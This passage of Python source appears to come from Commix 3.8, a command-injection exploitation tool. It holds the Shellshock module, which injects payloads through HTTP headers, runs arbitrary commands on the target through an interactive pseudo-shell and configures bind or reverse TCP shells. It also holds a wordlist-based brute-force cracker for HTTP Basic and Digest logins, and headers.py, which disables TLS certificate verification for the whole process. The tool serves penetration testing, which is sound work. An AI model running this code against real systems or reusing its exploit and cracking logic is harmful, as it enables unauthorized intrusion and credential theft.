settings.FILE_ACCESS_DONE = True
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
err_msg = "The " + os_shell_option.split("_")[0] + " "
err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."
print(settings.print_critical_msg(err_msg))
"""
Configure the bind TCP shell
"""
def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
settings.BIND_TCP = True
# Set up RHOST / LPORT for the bind TCP connection.
bind_tcp.configure_bind_tcp(separator = "")
if settings.BIND_TCP == False:
if settings.REVERSE_TCP == True:
os_shell_option = "reverse_tcp"
reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
while True:
if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_bind_tcp_options(settings.RHOST)
else:
cmd = bind_tcp.bind_tcp_options(separator = "")
result = checks.check_bind_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.BIND_TCP = False
return go_back, go_back_again
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
"""
Configure the reverse TCP shell
"""
def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for the reverse TCP connection.
reverse_tcp.configure_reverse_tcp(separator = "")
if settings.REVERSE_TCP == False:
if settings.BIND_TCP == True:
os_shell_option = "bind_tcp"
bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(separator = "")
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
return go_back, go_back_again
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
"""
Check commix shell options
"""
def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result):
if os_shell_option == False:
if no_result == True:
return False
else:
return True
if os_shell_option == None:
return go_back, go_back_again
# The "back" option
elif os_shell_option == "back":
go_back = True
return go_back, go_back_again
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are into the '" + os_shell_option + "' mode."
print(settings.print_warning_msg(warn_msg))
return go_back, go_back_again
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "reverse_tcp" option
elif os_shell_option == "reverse_tcp":
go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
# The "quit" option
elif os_shell_option == "quit":
raise SystemExit()
"""
The main shellshock handler
"""
def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
try:
i = 0
total = len(shellshock_cves) * len(headers)
for check_header in headers:
for cve in shellshock_cves:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == "Cookie":
menu.options.cookie = payload
if check_header == "User-Agent":
menu.options.agent = payload
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if check_header == "Cookie":
menu.options.cookie = default_cookie
if check_header == "User-Agent":
menu.options.agent = default_user_agent
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = settings.info_msg
no_result = False
elif len(response.info()) > 0 and cve in response.info():
percent = settings.info_msg
no_result = False
else:
percent = str(float_percent)+ "%"
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if no_result == False:
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
the_type = settings.SINGLE_WHITESPACE + vuln_parameter
check_header = settings.SINGLE_WHITESPACE + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter
# Print the findings to terminal.
info_msg = finding + " appears to be injectable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(payload))
# Enumeration options.
if settings.ENUMERATION_DONE:
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
enumeration(url, cve, check_header, filename)
# File access options.
if settings.FILE_ACCESS_DONE == True:
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
file_access(url, cve, check_header, filename)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_single_os_cmd(cmd, shell)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option is not False:
go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
# else:
# logs.logs_notification(filename)
# return True
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
print(settings.print_debug_msg(debug_msg))
sys.stdout.write(settings.print_payload(payload))
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
logs.logs_notification(filename)
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(gotshell)
continue
break
except (KeyboardInterrupt, SystemExit):
print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except TypeError:
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
err_msg = "All tested HTTP headers appear to be not injectable."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
logs.logs_notification(filename)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err))
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
except _urllib.error.URLError as err_msg:
err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _http_client.IncompleteRead as err_msg:
print(settings.print_critical_msg(err_msg + "."))
raise SystemExit()
"""
Execute user commands
"""
def cmd_exec(url, cmd, cve, check_header, filename):
"""
Check for shellshock 'shell'
"""
def check_for_shell(url, cmd, cve, check_header, filename):
try:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
payload = shellshock_exploitation(cve, cmd)
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL != 0:
sys.stdout.write(settings.print_debug_msg(debug_msg))
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if check_header == "User-Agent":
menu.options.agent = default_user_agent
shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ')
shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
shell = ''.join(shell)
return shell, payload
except _urllib.error.URLError as err_msg:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
raise SystemExit()
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) == 0:
cmd = "/bin/" + cmd
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) > 0:
pass
elif len(shell) == 0:
cmd = "/usr" + cmd
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) > 0:
pass
return shell, payload
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, http_request_method, filename):
if shellshock_handler(url, http_request_method, filename) == False:
return False
# eof commix-3.8/src/core/requests/ 0000775 0000000 0000000 00000000000 14466364451 0016267 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/requests/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0020404 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/requests/authentication.py 0000664 0000000 0000000 00000021202 14466364451 0021655 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import time
import base64
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_cookiejar as _http_cookiejar
"""
If a dashboard or an administration panel is found (auth_url),
do the authentication process using the provided credentials (auth_data).
"""
"""
The authentication process
"""
def authentication_process():
try:
auth_url = menu.options.auth_url
auth_data = menu.options.auth_data
#cj = cookielib.CookieJar()
cj = _http_cookiejar.CookieJar()
opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj))
cookies = ""
for cookie in cj:
cookie_values = cookie.name + "=" + cookie.value + "; "
cookies += cookie_values
if len(cookies) != 0 :
menu.options.cookie = cookies.rstrip()
if settings.VERBOSITY_LEVEL != 0:
info_msg = "The received cookie is "
info_msg += str(menu.options.cookie) + Style.RESET_ALL + "."
print(settings.print_bold_info_msg(info_msg))
_urllib.request.install_opener(opener)
request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
checks.connection_exceptions(err_msg)
"""
Define the HTTP authentication
wordlists for usernames / passwords.
"""
def define_wordlists():
while True:
message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
username_txt_file = settings.USERNAMES_TXT_FILE
passwords_txt_file = settings.PASSWORDS_TXT_FILE
info_msg = "Setting default wordlists for dictionary-based attack."
print(settings.print_info_msg(info_msg))
break
elif do_update in settings.CHOICE_NO:
message = "Please enter usernames wordlist > "
username_txt_file = common.read_input(message, default=None, check_batch=True)
message = "Please enter passwords wordlist > "
passwords_txt_file = common.read_input(message, default=None, check_batch=True)
break
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
try:
usernames = []
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'."
print(settings.print_debug_msg(debug_msg))
if not os.path.isfile(username_txt_file):
err_msg = "The specified file '" + str(username_txt_file) + "' does not exist."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(username_txt_file) == 0:
err_msg = "The specified file '" + str(username_txt_file) + "' seems empty."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(username_txt_file, "r") as f:
for line in f:
line = line.strip()
usernames.append(line)
except IOError:
err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
passwords = []
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'."
print(settings.print_debug_msg(debug_msg))
if not os.path.isfile(passwords_txt_file):
err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(passwords_txt_file) == 0:
err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(passwords_txt_file, "r") as f:
for line in f:
line = line.strip()
passwords.append(line)
except IOError:
err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
return usernames, passwords
"""
Simple Basic / Digest HTTP authentication cracker.
"""
def http_auth_cracker(url, realm):
settings.PERFORM_CRACKING = True
# Define the HTTP authentication type.
authentication_type = menu.options.auth_type
# Define the authentication wordlists for usernames / passwords.
usernames, passwords = define_wordlists()
i = 1
found = False
total = len(usernames) * len(passwords)
for username in usernames:
for password in passwords:
float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2))
# Check if verbose mode on
if settings.VERBOSITY_LEVEL != 0:
payload = "'" + username + ":" + password + "'"
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_checking_msg(payload))
else:
sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10)
sys.stdout.flush()
try:
# Basic authentication
if authentication_type.lower() == settings.AUTH_TYPE.BASIC:
authhandler = _urllib.request.HTTPBasicAuthHandler()
# Digest authentication
elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST:
authhandler = _urllib.request.HTTPDigestAuthHandler()
authhandler.add_password(realm, url, username, password)
opener = _urllib.request.build_opener(authhandler)
_urllib.request.install_opener(opener)
request = _urllib.request.Request(url)
headers.do_check(request)
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.use_tor(request)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
# Store valid results to session
admin_panel = url
session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password)
found = True
except KeyboardInterrupt :
raise
except (_urllib.error.HTTPError, _urllib.error.URLError):
pass
if found:
if settings.VERBOSITY_LEVEL == 0:
float_percent = settings.info_msg
else:
if str(float_percent) == "100.0%":
if settings.VERBOSITY_LEVEL == 0:
float_percent = settings.FAIL_STATUS
else:
i = i + 1
float_percent = ".. (" + float_percent + ")"
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Checking for valid pair of HTTP authentication credentials."
info_msg += float_percent
sys.stdout.write("\r\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if found:
valid_pair = "" + username + ":" + password + ""
if not settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
info_msg = "Identified valid pair of HTTP authentication credentials: '"
info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'."
print(settings.print_bold_info_msg(info_msg))
return valid_pair
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") "
err_msg += "or place an other dictionary into '"
err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory."
print("\n" + settings.print_critical_msg(err_msg))
return False
# eof commix-3.8/src/core/requests/headers.py 0000775 0000000 0000000 00000040601 14466364451 0020260 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import ssl
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
import sys
import time
import errno
import base64
try:
from base64 import encodebytes
except ImportError:
from base64 import encodestring as encodebytes
import socket
from socket import error as SocketError
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import urllib as _urllib
"""
Checking the HTTP response content.
"""
def http_response_content(content):
if type(content) is bytes:
content = content.decode(settings.DEFAULT_CODEC)
if settings.VERBOSITY_LEVEL >= 4:
content = checks.remove_empty_lines(content)
print(settings.print_http_response_content(content))
if menu.options.traffic_file:
logs.log_traffic(content)
logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
"""
Checking the HTTP response headers.
"""
def http_response(headers, code):
response_http_headers = str(headers).split("\n")
for header in response_http_headers:
if len(header) > 1:
if settings.VERBOSITY_LEVEL >= 3:
print(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
logs.log_traffic("\n\n")
"""
Print HTTP response headers / Body.
"""
def print_http_response(response_headers, code, page):
if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 3:
resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):"
print(settings.print_response_msg(resp_msg))
if menu.options.traffic_file:
resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):"
logs.log_traffic("\n" + resp_msg)
http_response(response_headers, code)
if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 4:
print(settings.SINGLE_WHITESPACE)
try:
http_response_content(page)
except AttributeError:
http_response_content(page.decode(settings.DEFAULT_CODEC))
"""
Checking the HTTP Headers & HTTP/S Request.
"""
def check_http_traffic(request):
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
if settings.SCHEME == 'https':
http_client = _http_client.HTTPSConnection
else:
http_client = _http_client.HTTPConnection
class connection(http_client):
def send(self, req):
headers = req.decode()
request_http_headers = str(headers).split("\r\n")
unique_request_http_headers = []
[unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers]
request_http_headers = [x for x in unique_request_http_headers if x]
if menu.options.data and \
len(request_http_headers) == 1 and \
settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
http_client.send(self, req)
class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object):
"""
Print HTTP request headers.
"""
def print_http_response(self):
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 2:
req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:"
print(settings.print_request_msg(req_msg))
if menu.options.traffic_file:
req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:"
logs.log_traffic(req_msg)
def http_open(self, req):
try:
self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
checks.connection_exceptions(err_msg)
def https_open(self, req):
try:
self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
checks.connection_exceptions(err_msg)
opener = _urllib.request.build_opener(connection_handler())
if len(settings.HTTP_METHOD) != 0:
request.get_method = lambda: settings.HTTP_METHOD
_ = False
response = False
unauthorized = False
while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
if settings.MULTI_TARGETS:
if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0:
settings.MULTI_ENCODED_PAYLOAD = []
menu.options.tamper = settings.USER_SUPPLIED_TAMPER
try:
response = opener.open(request, timeout=settings.TIMEOUT)
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
(settings.INIT_TEST == True and settings.MULTI_TARGETS):
if settings.VALID_URL == False:
settings.VALID_URL = True
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "Invalid target URL has been given."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except AttributeError:
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
else:
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
if not settings.MULTI_TARGETS and not settings.CRAWLING:
pass
else:
if not settings.INIT_TEST:
checks.connection_exceptions(err_msg)
break
try:
if response is False:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
code = response.getcode()
response_headers = response.info()
page = checks.page_encoding(response, action="encode")
response_headers[settings.URI_HTTP_HEADER] = response.geturl()
response_headers = str(response_headers).strip("\n")
# Checks for not declared cookie(s), while server wants to set its own.
if not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file:
print_http_response(response_headers, code, page)
# Checks regarding a potential CAPTCHA protection mechanism.
checks.captcha_check(page)
# Checks regarding a potential browser verification protection mechanism.
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
# Checks for not declared cookie(s), while server wants to set its own.
if not menu.options.drop_set_cookie:
checks.not_declared_cookies(err)
try:
page = checks.page_encoding(err, action="encode")
except Exception as ex:
page = err.read()
if settings.VERBOSITY_LEVEL != 0:
print_http_response(err.info(), err.code, page)
if (not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST and \
not settings.CRAWLED_URLS_NUM != 0 and \
not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
settings.HTTP_ERROR_CODES_SUM.append(err.code)
if settings.VERBOSITY_LEVEL >= 2:
if len(str(err).split(": ")[1]) == 0:
error_msg = "Non-standard HTTP status code"
pass
else:
error_msg = str(err).replace(": "," (")
if len(str(err).split(": ")[1]) == 0:
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
"""
Check for added headers.
"""
def do_check(request):
# Check if defined any Cookie HTTP header.
if menu.options.cookie and settings.COOKIE_INJECTION == None:
request.add_header(settings.COOKIE, menu.options.cookie)
# Check if defined any User-Agent HTTP header.
if menu.options.agent and settings.USER_AGENT_INJECTION == None:
request.add_header(settings.USER_AGENT, menu.options.agent)
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == None:
request.add_header(settings.REFERER, menu.options.referer)
# Check if defined any Host HTTP header.
if menu.options.host and settings.HOST_INJECTION == None:
request.add_header(settings.HOST, menu.options.host)
if not checks.get_header(request.headers, settings.ACCEPT):
request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE)
# The MIME media type for JSON.
if menu.options.data and not (menu.options.requestfile or menu.options.logfile):
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
# Default value for "Accept-Encoding" HTTP header
if not (menu.options.requestfile or menu.options.logfile):
request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
# Appends a fake HTTP header 'X-Forwarded-For' (and alike)
if settings.TAMPER_SCRIPTS["xforwardedfor"]:
from src.core.tamper import xforwardedfor
xforwardedfor.tamper(request)
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic, Digest, Bearer Access Authentication.
if menu.options.auth_cred and menu.options.auth_type:
if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER):
err_msg = "HTTP authentication type value must be Basic, Digest or Bearer."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER:
request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip())
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
